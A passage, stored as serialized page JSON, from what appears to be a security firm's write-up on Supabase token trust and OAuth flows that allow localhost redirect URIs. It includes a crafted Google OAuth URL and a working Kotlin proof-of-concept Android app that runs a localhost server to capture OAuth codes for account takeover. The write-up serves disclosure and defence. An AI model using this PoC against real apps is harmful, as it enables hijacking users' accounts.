try",{"type":23,"tag":134,"props":69494,"children":69495},{"style":179},[69496],{"type":28,"value":463},{"type":23,"tag":134,"props":69498,"children":69499},{"class":136,"line":185},[69500,69504,69508,69513,69517,69522,69526,69531,69535,69539,69544,69548,69553,69557,69562],{"type":23,"tag":134,"props":69501,"children":69502},{"style":151},[69503],{"type":28,"value":32397},{"type":23,"tag":134,"props":69505,"children":69506},{"style":179},[69507],{"type":28,"value":22511},{"type":23,"tag":134,"props":69509,"children":69510},{"style":162},[69511],{"type":28,"value":69512},"header",{"type":23,"tag":134,"props":69514,"children":69515},{"style":179},[69516],{"type":28,"value":242},{"type":23,"tag":134,"props":69518,"children":69519},{"style":162},[69520],{"type":28,"value":69521},"payload",{"type":23,"tag":134,"props":69523,"children":69524},{"style":179},[69525],{"type":28,"value":242},{"type":23,"tag":134,"props":69527,"children":69528},{"style":162},[69529],{"type":28,"value":69530},"signature",{"type":23,"tag":134,"props":69532,"children":69533},{"style":179},[69534],{"type":28,"value":8121},{"type":23,"tag":134,"props":69536,"children":69537},{"style":168},[69538],{"type":28,"value":257},{"type":23,"tag":134,"props":69540,"children":69541},{"style":162},[69542],{"type":28,"value":69543}," token",{"type":23,"tag":134,"props":69545,"children":69546},{"style":179},[69547],{"type":28,"value":720},{"type":23,"tag":134,"props":69549,"children":69550},{"style":264},[69551],{"type":28,"value":69552},"split",{"type":23,"tag":134,"props":69554,"children":69555},{"style":179},[69556],{"type":28,"value":272},{"type":23,"tag":134,"props":69558,"children":69559},{"style":1461},[69560],{"type":28,"value":69561},"'.'",{"type":23,"tag":134,"props":69563,"children":69564},{"style":179},[69565],{"type":28,"value":1021},{"type":23,"tag":134,"props":69567,"children":69568},{"class":136,"line":221},[69569,69573,69578,69582,69586,69590,69594,69598,69603,69607,69611],{"type":23,"tag":134,"props":69570,"children":69571},{"style":151},[69572],{"type":28,"value":32397},{"type":23,"tag":134,"props":69574,"children":69575},{"style":162},[69576],{"type":28,"value":69577}," decodedHeader",{"type":23,"tag":134,"props":69579,"children":69580},{"style":168},[69581],{"type":28,"value":171},{"type":23,"tag":134,"props":69583,"children":69584},{"style":162},[69585],{"type":28,"value":37026},{"type":23,"tag":134,"props":69587,"children":69588},{"style":179},[69589],{"type":28,"value":720},{"type":23,"tag":134,"props":69591,"children":69592},{"style":264},[69593],{"type":28,"value":38710},{"type":23,"tag":134,"props":69595,"children":69596},{"style":179},[69597],{"type":28,"value":272},{"type":23,"tag":134,"props":69599,"children":69600},{"style":264},[69601],{"type":28,"value":69602},"atob",{"type":23,"tag":134,"props":69604,"children":69605},{"style":179},[69606],{"type":28,"value":272},{"type":23,"tag":134,"props":69608,"children":69609},{"style":162},[69610],{"type":28,"value":69512},{"type":23,"tag":134,"props":69612,"children":69613},{"style":179},[69614],{"type":28,"value":6681},{"type":23,"tag":134,"props":69616,"children":69617},{"class":136,"line":332},[69618,69622,69627,69631,69635,69639,69643,69647,69651,69655,69659],{"type":23,"tag":134,"props":69619,"children":69620},{"style":151},[69621],{"type":28,"value":32397},{"type":23,"tag":134,"props":69623,"children":69624},{"style":162},[69625],{"type":28,"value":69626}," decodedPayload",{"type":23,"tag":134,"props":69628,"children":69629},{"style":168},[69630],{"type":28,"value":171},{"type":23,"tag":134,"props":69632,"children":69633},{"style":162},[69634],{"type":28,"value":37026},{"type":23,"tag":134,"props":69636,"children":69637},{"style":179},[69638],{"type":28,"value":720},{"type":23,"tag":134,"props":69640,"children":69641},{"style":264},[69642],{"type":28,"value":38710},{"type":23,"tag":134,"props":69644,"children":69645},{"style":179},[69646],{"type":28,"value":272},{"type":23,"tag":134,"props":69648,"children":69649},{"style":264},[69650],{"type":28,"value":69602},{"type":23,"tag":134,"props":69652,"children":69653},{"style":179},[69654],{"type":28,"value":272},{"type":23,"tag":134,"props":69656,"children":69657},{"style":162},[69658],{"type":28,"value":69521},{"type":23,"tag":134,"props":69660,"children":69661},{"style":179},[69662],{"type":28,"value":6681},{"type":23,"tag":134,"props":69664,"children":69665},{"class":136,"line":438},[69666,69670,69674,69679,69683,69687,69692,69696,69700,69704],{"type":23,"tag":134,"props":69667,"children":69668},{"style":189},[69669],{"type":28,"value":15214},{"type":23,"tag":134,"props":69671,"children":69672},{"style":179},[69673],{"type":28,"value":9049},{"type":23,"tag":134,"props":69675,"children":69676},{"style":162},[69677],{"type":28,"value":69678},"header:",{"type":23,"tag":134,"props":69680,"children":69681},{"style":162},[69682],{"type":28,"value":69577},{"type":23,"tag":134,"props":69684,"children":69685},{"style":179},[69686],{"type":28,"value":242},{"type":23,"tag":134,"props":69688,"children":69689},{"style":162},[69690],{"type":28,"value":69691},"payload:",{"type":23,"tag":134,"props":69693,"children":69694},{"style":162},[69695],{"type":28,"value":69626},{"type":23,"tag":134,"props":69697,"children":69698},{"style":179},[69699],{"type":28,"value":242},{"type":23,"tag":134,"props":69701,"children":69702},{"style":162},[69703],{"type":28,"value":69530},{"type":23,"tag":134,"props":69705,"children":69706},{"style":179},[69707],{"type":28,"value":17773},{"type":23,"tag":134,"props":69709,"children":69710},{"class":136,"line":466},[69711,69715,69719,69723,69727],{"type":23,"tag":134,"props":69712,"children":69713},{"style":179},[69714],{"type":28,"value":15249},{"type":23,"tag":134,"props":69716,"children":69717},{"style":189},[69718],{"type":28,"value":47916},{"type":23,"tag":134,"props":69720,"children":69721},{"style":179},[69722],{"type":28,"value":232},{"type":23,"tag":134,"props":69724,"children":69725},{"style":162},[69726],{"type":28,"value":14332},{"type":23,"tag":134,"props":69728,"children":69729},{"style":179},[69730],{"type":28,"value":14272},{"type":23,"tag":134,"props":69732,"children":69733},{"class":136,"line":479},[69734,69739,69743,69747,69751,69756,69760,69764],{"type":23,"tag":134,"props":69735,"children":69736},{"style":162},[69737],{"type":28,"value":69738},"        console",{"type":23,"tag":134,"props":69740,"children":69741},{"style":179},[69742],{"type":28,"value":720},{"type":23,"tag":134,"props":69744,"children":69745},{"style":264},[69746],{"type":28,"value":14332},{"type":23,"tag":134,"props":69748,"children":69749},{"style":179},[69750],{"type":28,"value":272},{"type":23,"tag":134,"props":69752,"children":69753},{"style":1461},[69754],{"type":28,"value":69755},"'Error parsing token:'",{"type":23,"tag":134,"props":69757,"children":69758},{"style":179},[69759],{"type":28,"value":242},{"type":23,"tag":134,"props":69761,"children":69762},{"style":162},[69763],{"type":28,"value":14332},{"type":23,"tag":134,"props":69765,"children":69766},{"style":179},[69767],{"type":28,"value":1021},{"type":23,"tag":134,"props":69769,"children":69770},{"class":136,"line":497},[69771,69775,69780],{"type":23,"tag":134,"props":69772,"children":69773},{"style":189},[69774],{"type":28,"value":15214},{"type":23,"tag":134,"props":69776,"children":69777},{"style":151},[69778],{"type":28,"value":69779}," null",{"type":23,"tag":134,"props":69781,"children":69782},{"style":179},[69783],{"type":28,"value":182},{"type":23,"tag":134,"props":69785,"children":69786},{"class":136,"line":518},[69787],{"type":23,"tag":134,"props":69788,"children":69789},{"style":179},[69790],{"type":28,"value":533},{"type":23,"tag":134,"props":69792,"children":69793},{"class":136,"line":527},[69794],{"type":23,"tag":134,"props":69795,"children":69796},{"style":179},[69797],{"type":28,"value":1098},{"type":23,"tag":9072,"props":69799,"children":69800},{"id":39832},[69801],{"type":28,"value":39835},{"type":23,"tag":24,"props":69803,"children":69804},{},[69805,69807,69814,69816,69822],{"type":28,"value":69806},"Developers should avoid trusting input from their Supabase custom domain. ",{"type":23,"tag":31,"props":69808,"children":69811},{"href":69809,"rel":69810},"https://supabase.com/docs/guides/database/postgres/row-level-security",[35],[69812],{"type":28,"value":69813},"Row-Level Security",{"type":28,"value":69815}," (RLS) on Supabase should be enforced, plus important and private fields should be defined in ",{"type":23,"tag":92,"props":69817,"children":69819},{"className":69818},[],[69820],{"type":28,"value":69821},"app_metadata",{"type":28,"value":69823},". These fields must be strictly validated at every step of their creation and update processes.",{"type":23,"tag":61,"props":69825,"children":69827},{"id":69826},"oauth-in-development-environments",[69828],{"type":28,"value":69829},"OAuth in development environments",{"type":23,"tag":24,"props":69831,"children":69832},{},[69833,69835,69842,69844,69849],{"type":28,"value":69834},"After watching a ",{"type":23,"tag":31,"props":69836,"children":69839},{"href":69837,"rel":69838},"https://docs.google.com/presentation/d/1571_ZSOtfVat9u63zfn1ugTPZRN7pQsFIblcxci3czM/edit",[35],[69840],{"type":28,"value":69841},"talk",{"type":28,"value":69843}," by Luan Herrera on exploiting the logic of desktop apps that use OAuth for authentication (specifically using a localhost server), we noticed that many of our customers also permitted localhost within the ",{"type":23,"tag":92,"props":69845,"children":69847},{"className":69846},[],[69848],{"type":28,"value":69275},{"type":28,"value":69850}," parameter during the OAuth flow.",{"type":23,"tag":24,"props":69852,"children":69853},{},[69854,69856,69863],{"type":28,"value":69855},"Herrera's research highlights that if localhost is allowed as a redirect URI, it is generally not exploitable in a desktop environment because impersonating localhost without ",{"type":23,"tag":31,"props":69857,"children":69860},{"href":69858,"rel":69859},"https://www.cloudflare.com/learning/security/what-is-remote-code-execution/",[35],[69861],{"type":28,"value":69862},"Remote Code Execution",{"type":28,"value":69864}," (RCE) is impossible. However, the scenario changes in a mobile environment, where it is feasible to open a localhost web server using a malicious app, making exploitation possible.",{"type":23,"tag":24,"props":69866,"children":69867},{},[69868,69870,69876],{"type":28,"value":69869},"In one of our client's implementations, we identified that ",{"type":23,"tag":92,"props":69871,"children":69873},{"className":69872},[],[69874],{"type":28,"value":69875},"localhost:3000",{"type":28,"value":69877}," was permitted. The exploitation method is the same as demonstrated in Herrera's talk. However, we observed that localhost servers are frequently used and whitelisted by developers, not only for desktop applications but also for testing and development environments.",{"type":23,"tag":24,"props":69879,"children":69880},{},[69881],{"type":28,"value":69882},"For the exploitation, the final Google OAuth URL was constructed as follows:",{"type":23,"tag":87,"props":69884,"children":69888},{"className":69885,"code":69886,"language":69887,"meta":7,"style":7},"language-url shiki shiki-themes slack-dark","https://accounts.google.com/o/oauth2/v2/auth?client_id=redacted&scope=openid%20email%20profile&response_type=code&redirect_uri=http%3A%2F%2Flocalhost%3A3000%2Fapi%2Fauth%2Fcallback%2Fgoogle&prompt=none&access_type=offline&state=2UTJ8naHVglSQQupa1jw1lugsaZr8f5M9hxZp7bxISM&code_challenge=e6_Onj804xizwJzVT5Pf8luKPbtLV-EJssR7I58UQp8&code_challenge_method=S256&service=lso&o2v=2&ddm=1&flowName=GeneralOAuthFlow\n","url",[69889],{"type":23,"tag":92,"props":69890,"children":69891},{"__ignoreMap":7},[69892],{"type":23,"tag":134,"props":69893,"children":69894},{"class":136,"line":137},[69895],{"type":23,"tag":134,"props":69896,"children":69897},{},[69898],{"type":28,"value":69886},{"type":23,"tag":24,"props":69900,"children":69901},{},[69902],{"type":28,"value":69903},"Since there was no public exploit, we also created a proof of concept demonstrating how a malicious APK can be created to steal the OAuth token simply by opening the malicious app. This occurs without any user interaction and results in account takeover.",{"type":23,"tag":87,"props":69905,"children":69909},{"className":69906,"code":69907,"language":69908,"meta":7,"style":7},"language-kotlin shiki shiki-themes slack-dark","class MainActivity : AppCompatActivity() {\n\n    override fun onCreate(savedInstanceState: Bundle?) {\n        super.onCreate(savedInstanceState)\n\n        // Start the Ktor web server\n        CoroutineScope(Dispatchers.IO).launch {\n            try {\n                startWebServer()\n                Log.d(\"WebServer\", \"Server started on http://localhost:3000\")\n            } catch (e: Exception) {\n                Log.e(\"WebServer\", \"Error starting server: ${e.message}\", e)\n            }\n        }\n\n        // Open the Google OAuth page\n        val googleOAuthUrl = \"https://accounts.google.com/o/oauth2/v2/auth?client_id=redacted&scope=openid%20email%20profile&response_type=code&redirect_uri=http%3A%2F%2Flocalhost%3A3000%2Fapi%2Fauth%2Fcallback%2Fgoogle&prompt=none&access_type=offline&state=2UTJ8naHVglSQQupa1jw1lugsaZr8f5M9hxZp7bxISM&code_challenge=e6_Onj804xizwJzVT5Pf8luKPbtLV-EJssR7I58UQp8&code_challenge_method=S256&service=lso&o2v=2&ddm=1&flowName=GeneralOAuthFlow\"\n        val browserIntent = Intent(Intent.ACTION_VIEW, Uri.parse(googleOAuthUrl))\n        startActivity(browserIntent)\n    }\n\n    private fun startWebServer() {\n        embeddedServer(CIO, port = 3000) {\n            routing {\n                get(\"{...}\") {\n                    call.respondHtml {\n                        head {\n                            meta(charset = \"UTF-8\")\n                            meta(name = \"viewport\", content = \"width=device-width, initial-scale=1.0\")\n                            title(\"OAuth Redirect\")\n                        }\n                        body {\n                            h1 { +\"Google OAuth Redirect\" }\n                            script {\n                                +\"document.body.innerText = location.search;\"\n                            }\n                        }\n                    }\n                }\n            }\n        }.start(wait = true)\n    }\n}\n","kotlin",[69910],{"type":23,"tag":92,"props":69911,"children":69912},{"__ignoreMap":7},[69913,69940,69947,69979,70001,70008,70016,70038,70050,70062,70097,70123,70173,70180,70187,70194,70202,70224,70259,70272,70279,70286,70307,70333,70345,70366,70383,70395,70421,70460,70481,70489,70501,70526,70538,70551,70559,70566,70574,70582,70589,70619,70626],{"type":23,"tag":134,"props":69914,"children":69915},{"class":136,"line":137},[69916,69921,69926,69931,69936],{"type":23,"tag":134,"props":69917,"children":69918},{"style":151},[69919],{"type":28,"value":69920},"class",{"type":23,"tag":134,"props":69922,"children":69923},{"style":597},[69924],{"type":28,"value":69925}," MainActivity",{"type":23,"tag":134,"props":69927,"children":69928},{"style":179},[69929],{"type":28,"value":69930}," : ",{"type":23,"tag":134,"props":69932,"children":69933},{"style":597},[69934],{"type":28,"value":69935},"AppCompatActivity",{"type":23,"tag":134,"props":69937,"children":69938},{"style":179},[69939],{"type":28,"value":15206},{"type":23,"tag":134,"props":69941,"children":69942},{"class":136,"line":147},[69943],{"type":23,"tag":134,"props":69944,"children":69945},{"emptyLinePlaceholder":15},[69946],{"type":28,"value":865},{"type":23,"tag":134,"props":69948,"children":69949},{"class":136,"line":185},[69950,69955,69959,69964,69969,69974],{"type":23,"tag":134,"props":69951,"children":69952},{"style":151},[69953],{"type":28,"value":69954},"    override",{"type":23,"tag":134,"props":69956,"children":69957},{"style":151},[69958],{"type":28,"value":5664},{"type":23,"tag":134,"props":69960,"children":69961},{"style":264},[69962],{"type":28,"value":69963}," onCreate",{"type":23,"tag":134,"props":69965,"children":69966},{"style":179},[69967],{"type":28,"value":69968},"(savedInstanceState: ",{"type":23,"tag":134,"props":69970,"children":69971},{"style":597},[69972],{"type":28,"value":69973},"Bundle",{"type":23,"tag":134,"props":69975,"children":69976},{"style":179},[69977],{"type":28,"value":69978},"?) {\n",{"type":23,"tag":134,"props":69980,"children":69981},{"class":136,"line":221},[69982,69987,69991,69996],{"type":23,"tag":134,"props":69983,"children":69984},{"style":151},[69985],{"type":28,"value":69986},"        super",{"type":23,"tag":134,"props":69988,"children":69989},{"style":179},[69990],{"type":28,"value":720},{"type":23,"tag":134,"props":69992,"children":69993},{"style":264},[69994],{"type":28,"value":69995},"onCreate",{"type":23,"tag":134,"props":69997,"children":69998},{"style":179},[69999],{"type":28,"value":70000},"(savedInstanceState)\n",{"type":23,"tag":134,"props":70002,"children":70003},{"class":136,"line":332},[70004],{"type":23,"tag":134,"props":70005,"children":70006},{"emptyLinePlaceholder":15},[70007],{"type":28,"value":865},{"type":23,"tag":134,"props":70009,"children":70010},{"class":136,"line":438},[70011],{"type":23,"tag":134,"props":70012,"children":70013},{"style":141},[70014],{"type":28,"value":70015},"        // Start the Ktor web server\n",{"type":23,"tag":134,"props":70017,"children":70018},{"class":136,"line":466},[70019,70024,70029,70034],{"type":23,"tag":134,"props":70020,"children":70021},{"style":264},[70022],{"type":28,"value":70023},"        CoroutineScope",{"type":23,"tag":134,"props":70025,"children":70026},{"style":179},[70027],{"type":28,"value":70028},"(Dispatchers.IO).",{"type":23,"tag":134,"props":70030,"children":70031},{"style":264},[70032],{"type":28,"value":70033},"launch",{"type":23,"tag":134,"props":70035,"children":70036},{"style":179},[70037],{"type":28,"value":463},{"type":23,"tag":134,"props":70039,"children":70040},{"class":136,"line":479},[70041,70046],{"type":23,"tag":134,"props":70042,"children":70043},{"style":189},[70044],{"type":28,"value":70045},"            try",{"type":23,"tag":134,"props":70047,"children":70048},{"style":179},[70049],{"type":28,"value":463},{"type":23,"tag":134,"props":70051,"children":70052},{"class":136,"line":497},[70053,70058],{"type":23,"tag":134,"props":70054,"children":70055},{"style":264},[70056],{"type":28,"value":70057},"                startWebServer",{"type":23,"tag":134,"props":70059,"children":70060},{"style":179},[70061],{"type":28,"value":7194},{"type":23,"tag":134,"props":70063,"children":70064},{"class":136,"line":518},[70065,70070,70075,70079,70084,70088,70093],{"type":23,"tag":134,"props":70066,"children":70067},{"style":179},[70068],{"type":28,"value":70069},"                Log.",{"type":23,"tag":134,"props":70071,"children":70072},{"style":264},[70073],{"type":28,"value":70074},"d",{"type":23,"tag":134,"props":70076,"children":70077},{"style":179},[70078],{"type":28,"value":272},{"type":23,"tag":134,"props":70080,"children":70081},{"style":1461},[70082],{"type":28,"value":70083},"\"WebServer\"",{"type":23,"tag":134,"props":70085,"children":70086},{"style":179},[70087],{"type":28,"value":242},{"type":23,"tag":134,"props":70089,"children":70090},{"style":1461},[70091],{"type":28,"value":70092},"\"Server started on http://localhost:3000\"",{"type":23,"tag":134,"props":70094,"children":70095},{"style":179},[70096],{"type":28,"value":329},{"type":23,"tag":134,"props":70098,"children":70099},{"class":136,"line":527},[70100,70105,70109,70114,70119],{"type":23,"tag":134,"props":70101,"children":70102},{"style":179},[70103],{"type":28,"value":70104},"            } ",{"type":23,"tag":134,"props":70106,"children":70107},{"style":151},[70108],{"type":28,"value":47916},{"type":23,"tag":134,"props":70110,"children":70111},{"style":179},[70112],{"type":28,"value":70113}," (e: ",{"type":23,"tag":134,"props":70115,"children":70116},{"style":597},[70117],{"type":28,"value":70118},"Exception",{"type":23,"tag":134,"props":70120,"children":70121},{"style":179},[70122],{"type":28,"value":14272},{"type":23,"tag":134,"props":70124,"children":70125},{"class":136,"line":780},[70126,70130,70134,70138,70142,70146,70151,70155,70160,70164,70168],{"type":23,"tag":134,"props":70127,"children":70128},{"style":179},[70129],{"type":28,"value":70069},{"type":23,"tag":134,"props":70131,"children":70132},{"style":264},[70133],{"type":28,"value":50960},{"type":23,"tag":134,"props":70135,"children":70136},{"style":179},[70137],{"type":28,"value":272},{"type":23,"tag":134,"props":70139,"children":70140},{"style":1461},[70141],{"type":28,"value":70083},{"type":23,"tag":134,"props":70143,"children":70144},{"style":179},[70145],{"type":28,"value":242},{"type":23,"tag":134,"props":70147,"children":70148},{"style":1461},[70149],{"type":28,"value":70150},"\"Error starting server: ",{"type":23,"tag":134,"props":70152,"children":70153},{"style":151},[70154],{"type":28,"value":33605},{"type":23,"tag":134,"props":70156,"children":70157},{"style":168},[70158],{"type":28,"value":70159},"e.message",{"type":23,"tag":134,"props":70161,"children":70162},{"style":151},[70163],{"type":28,"value":33637},{"type":23,"tag":134,"props":70165,"children":70166},{"style":1461},[70167],{"type":28,"value":19537},{"type":23,"tag":134,"props":70169,"children":70170},{"style":179},[70171],{"type":28,"value":70172},", e)\n",{"type":23,"tag":134,"props":70174,"children":70175},{"class":136,"line":797},[70176],{"type":23,"tag":134,"props":70177,"children":70178},{"style":179},[70179],{"type":28,"value":58392},{"type":23,"tag":134,"props":70181,"children":70182},{"class":136,"line":814},[70183],{"type":23,"tag":134,"props":70184,"children":70185},{"style":179},[70186],{"type":28,"value":524},{"type":23,"tag":134,"props":70188,"children":70189},{"class":136,"line":827},[70190],{"type":23,"tag":134,"props":70191,"children":70192},{"emptyLinePlaceholder":15},[70193],{"type":28,"value":865},{"type":23,"tag":134,"props":70195,"children":70196},{"class":136,"line":836},[70197],{"type":23,"tag":134,"props":70198,"children":70199},{"style":141},[70200],{"type":28,"value":70201},"        // Open the Google OAuth page\n",{"type":23,"tag":134,"props":70203,"children":70204},{"class":136,"line":859},[70205,70210,70215,70219],{"type":23,"tag":134,"props":70206,"children":70207},{"style":151},[70208],{"type":28,"value":70209},"        val",{"type":23,"tag":134,"props":70211,"children":70212},{"style":179},[70213],{"type":28,"value":70214}," googleOAuthUrl ",{"type":23,"tag":134,"props":70216,"children":70217},{"style":168},[70218],{"type":28,"value":257},{"type":23,"tag":134,"props":70220,"children":70221},{"style":1461},[70222],{"type":28,"value":70223}," \"https://accounts.google.com/o/oauth2/v2/auth?client_id=redacted&scope=openid%20email%20profile&response_type=code&redirect_uri=http%3A%2F%2Flocalhost%3A3000%2Fapi%2Fauth%2Fcallback%2Fgoogle&prompt=none&access_type=offline&state=2UTJ8naHVglSQQupa1jw1lugsaZr8f5M9hxZp7bxISM&code_challenge=e6_Onj804xizwJzVT5Pf8luKPbtLV-EJssR7I58UQp8&code_challenge_method=S256&service=lso&o2v=2&ddm=1&flowName=GeneralOAuthFlow\"\n",{"type":23,"tag":134,"props":70225,"children":70226},{"class":136,"line":868},[70227,70231,70236,70240,70245,70250,70254],{"type":23,"tag":134,"props":70228,"children":70229},{"style":151},[70230],{"type":28,"value":70209},{"type":23,"tag":134,"props":70232,"children":70233},{"style":179},[70234],{"type":28,"value":70235}," browserIntent ",{"type":23,"tag":134,"props":70237,"children":70238},{"style":168},[70239],{"type":28,"value":257},{"type":23,"tag":134,"props":70241,"children":70242},{"style":264},[70243],{"type":28,"value":70244}," Intent",{"type":23,"tag":134,"props":70246,"children":70247},{"style":179},[70248],{"type":28,"value":70249},"(Intent.ACTION_VIEW, Uri.",{"type":23,"tag":134,"props":70251,"children":70252},{"style":264},[70253],{"type":28,"value":38710},{"type":23,"tag":134,"props":70255,"children":70256},{"style":179},[70257],{"type":28,"value":70258},"(googleOAuthUrl))\n",{"type":23,"tag":134,"props":70260,"children":70261},{"class":136,"line":877},[70262,70267],{"type":23,"tag":134,"props":70263,"children":70264},{"style":264},[70265],{"type":28,"value":70266},"        startActivity",{"type":23,"tag":134,"props":70268,"children":70269},{"style":179},[70270],{"type":28,"value":70271},"(browserIntent)\n",{"type":23,"tag":134,"props":70273,"children":70274},{"class":136,"line":946},[70275],{"type":23,"tag":134,"props":70276,"children":70277},{"style":179},[70278],{"type":28,"value":533},{"type":23,"tag":134,"props":70280,"children":70281},{"class":136,"line":954},[70282],{"type":23,"tag":134,"props":70283,"children":70284},{"emptyLinePlaceholder":15},[70285],{"type":28,"value":865},{"type":23,"tag":134,"props":70287,"children":70288},{"class":136,"line":984},[70289,70294,70298,70303],{"type":23,"tag":134,"props":70290,"children":70291},{"style":151},[70292],{"type":28,"value":70293},"    private",{"type":23,"tag":134,"props":70295,"children":70296},{"style":151},[70297],{"type":28,"value":5664},{"type":23,"tag":134,"props":70299,"children":70300},{"style":264},[70301],{"type":28,"value":70302}," startWebServer",{"type":23,"tag":134,"props":70304,"children":70305},{"style":179},[70306],{"type":28,"value":15206},{"type":23,"tag":134,"props":70308,"children":70309},{"class":136,"line":992},[70310,70315,70320,70324,70329],{"type":23,"tag":134,"props":70311,"children":70312},{"style":264},[70313],{"type":28,"value":70314},"        embeddedServer",{"type":23,"tag":134,"props":70316,"children":70317},{"style":179},[70318],{"type":28,"value":70319},"(CIO, port ",{"type":23,"tag":134,"props":70321,"children":70322},{"style":168},[70323],{"type":28,"value":257},{"type":23,"tag":134,"props":70325,"children":70326},{"style":205},[70327],{"type":28,"value":70328}," 3000",{"type":23,"tag":134,"props":70330,"children":70331},{"style":179},[70332],{"type":28,"value":14272},{"type":23,"tag":134,"props":70334,"children":70335},{"class":136,"line":1024},[70336,70341],{"type":23,"tag":134,"props":70337,"children":70338},{"style":264},[70339],{"type":28,"value":70340},"            routing",{"type":23,"tag":134,"props":70342,"children":70343},{"style":179},[70344],{"type":28,"value":463},{"type":23,"tag":134,"props":70346,"children":70347},{"class":136,"line":1032},[70348,70353,70357,70362],{"type":23,"tag":134,"props":70349,"children":70350},{"style":151},[70351],{"type":28,"value":70352},"                get",{"type":23,"tag":134,"props":70354,"children":70355},{"style":179},[70356],{"type":28,"value":272},{"type":23,"tag":134,"props":70358,"children":70359},{"style":1461},[70360],{"type":28,"value":70361},"\"{...}\"",{"type":23,"tag":134,"props":70363,"children":70364},{"style":179},[70365],{"type":28,"value":14272},{"type":23,"tag":134,"props":70367,"children":70368},{"class":136,"line":1092},[70369,70374,70379],{"type":23,"tag":134,"props":70370,"children":70371},{"style":179},[70372],{"type":28,"value":70373},"                    call.",{"type":23,"tag":134,"props":70375,"children":70376},{"style":264},[70377],{"type":28,"value":70378},"respondHtml",{"type":23,"tag":134,"props":70380,"children":70381},{"style":179},[70382],{"type":28,"value":463},{"type":23,"tag":134,"props":70384,"children":70385},{"class":136,"line":8508},[70386,70391],{"type":23,"tag":134,"props":70387,"children":70388},{"style":264},[70389],{"type":28,"value":70390},"                        head",{"type":23,"tag":134,"props":70392,"children":70393},{"style":179},[70394],{"type":28,"value":463},{"type":23,"tag":134,"props":70396,"children":70397},{"class":136,"line":8526},[70398,70403,70408,70412,70417],{"type":23,"tag":134,"props":70399,"children":70400},{"style":264},[70401],{"type":28,"value":70402},"                            meta",{"type":23,"tag":134,"props":70404,"children":70405},{"style":179},[70406],{"type":28,"value":70407},"(charset ",{"type":23,"tag":134,"props":70409,"children":70410},{"style":168},[70411],{"type":28,"value":257},{"type":23,"tag":134,"props":70413,"children":70414},{"style":1461},[70415],{"type":28,"value":70416}," \"UTF-8\"",{"type":23,"tag":134,"props":70418,"children":70419},{"style":179},[70420],{"type":28,"value":329},{"type":23,"tag":134,"props":70422,"children":70423},{"class":136,"line":8571},[70424,70428,70433,70437,70442,70447,70451,70456],{"type":23,"tag":134,"props":70425,"children":70426},{"style":264},[70427],{"type":28,"value":70402},{"type":23,"tag":134,"props":70429,"children":70430},{"style":179},[70431],{"type":28,"value":70432},"(name ",{"type":23,"tag":134,"props":70434,"children":70435},{"style":168},[70436],{"type":28,"value":257},{"type":23,"tag":134,"props":70438,"children":70439},{"style":1461},[70440],{"type":28,"value":70441}," \"viewport\"",{"type":23,"tag":134,"props":70443,"children":70444},{"style":179},[70445],{"type":28,"value":70446},", content ",{"type":23,"tag":134,"props":70448,"children":70449},{"style":168},[70450],{"type":28,"value":257},{"type":23,"tag":134,"props":70452,"children":70453},{"style":1461},[70454],{"type":28,"value":70455}," \"width=device-width, initial-scale=1.0\"",{"type":23,"tag":134,"props":70457,"children":70458},{"style":179},[70459],{"type":28,"value":329},{"type":23,"tag":134,"props":70461,"children":70462},{"class":136,"line":8677},[70463,70468,70472,70477],{"type":23,"tag":134,"props":70464,"children":70465},{"style":264},[70466],{"type":28,"value":70467},"                            title",{"type":23,"tag":134,"props":70469,"children":70470},{"style":179},[70471],{"type":28,"value":272},{"type":23,"tag":134,"props":70473,"children":70474},{"style":1461},[70475],{"type":28,"value":70476},"\"OAuth Redirect\"",{"type":23,"tag":134,"props":70478,"children":70479},{"style":179},[70480],{"type":28,"value":329},{"type":23,"tag":134,"props":70482,"children":70483},{"class":136,"line":22988},[70484],{"type":23,"tag":134,"props":70485,"children":70486},{"style":179},[70487],{"type":28,"value":70488},"                        }\n",{"type":23,"tag":134,"props":70490,"children":70491},{"class":136,"line":23023},[70492,70497],{"type":23,"tag":134,"props":70493,"children":70494},{"style":264},[70495],{"type":28,"value":70496},"                        body",{"type":23,"tag":134,"props":70498,"children":70499},{"style":179},[70500],{"type":28,"value":463},{"type":23,"tag":134,"props":70502,"children":70503},{"class":136,"line":23031},[70504,70509,70513,70517,70522],{"type":23,"tag":134,"props":70505,"children":70506},{"style":264},[70507],{"type":28,"value":70508},"                            h1",{"type":23,"tag":134,"props":70510,"children":70511},{"style":179},[70512],{"type":28,"value":9049},{"type":23,"tag":134,"props":70514,"children":70515},{"style":168},[70516],{"type":28,"value":1586},{"type":23,"tag":134,"props":70518,"children":70519},{"style":1461},[70520],{"type":28,"value":70521},"\"Google OAuth Redirect\"",{"type":23,"tag":134,"props":70523,"children":70524},{"style":179},[70525],{"type":28,"value":9059},{"type":23,"tag":134,"props":70527,"children":70528},{"class":136,"line":23039},[70529,70534],{"type":23,"tag":134,"props":70530,"children":70531},{"style":264},[70532],{"type":28,"value":70533},"                            script",{"type":23,"tag":134,"props":70535,"children":70536},{"style":179},[70537],{"type":28,"value":463},{"type":23,"tag":134,"props":70539,"children":70540},{"class":136,"line":23048},[70541,70546],{"type":23,"tag":134,"props":70542,"children":70543},{"style":168},[70544],{"type":28,"value":70545},"                                +",{"type":23,"tag":134,"props":70547,"children":70548},{"style":1461},[70549],{"type":28,"value":70550},"\"document.body.innerText = location.search;\"\n",{"type":23,"tag":134,"props":70552,"children":70553},{"class":136,"line":23090},[70554],{"type":23,"tag":134,"props":70555,"children":70556},{"style":179},[70557],{"type":28,"value":70558},"                            }\n",{"type":23,"tag":134,"props":70560,"children":70561},{"class":136,"line":23123},[70562],{"type":23,"tag":134,"props":70563,"children":70564},{"style":179},[70565],{"type":28,"value":70488},{"type":23,"tag":134,"props":70567,"children":70568},{"class":136,"line":23131},[70569],{"type":23,"tag":134,"props":70570,"children":70571},{"style":179},[70572],{"type":28,"value":70573},"                    }\n",{"type":23,"tag":134,"props":70575,"children":70576},{"class":136,"line":23139},[70577],{"type":23,"tag":134,"props":70578,"children":70579},{"style":179},[70580],{"type":28,"value":70581},"                }\n",{"type":23,"tag":134,"props":70583,"children":70584},{"class":136,"line":23148},[70585],{"type":23,"tag":134,"props":70586,"children":70587},{"style":179},[70588],{"type":28,"value":58392},{"type":23,"tag":134,"props":70590,"children":70591},{"class":136,"line":23224},[70592,70597,70602,70607,70611,70615],{"type":23,"tag":134,"props":70593,"children":70594},{"style":179},[70595],{"type":28,"value":70596},"        }.",{"type":23,"tag":134,"props":70598,"children":70599},{"style":264},[70600],{"type":28,"value":70601},"start",{"type":23,"tag":134,"props":70603,"children":70604},{"style":179},[70605],{"type":28,"value":70606},"(wait 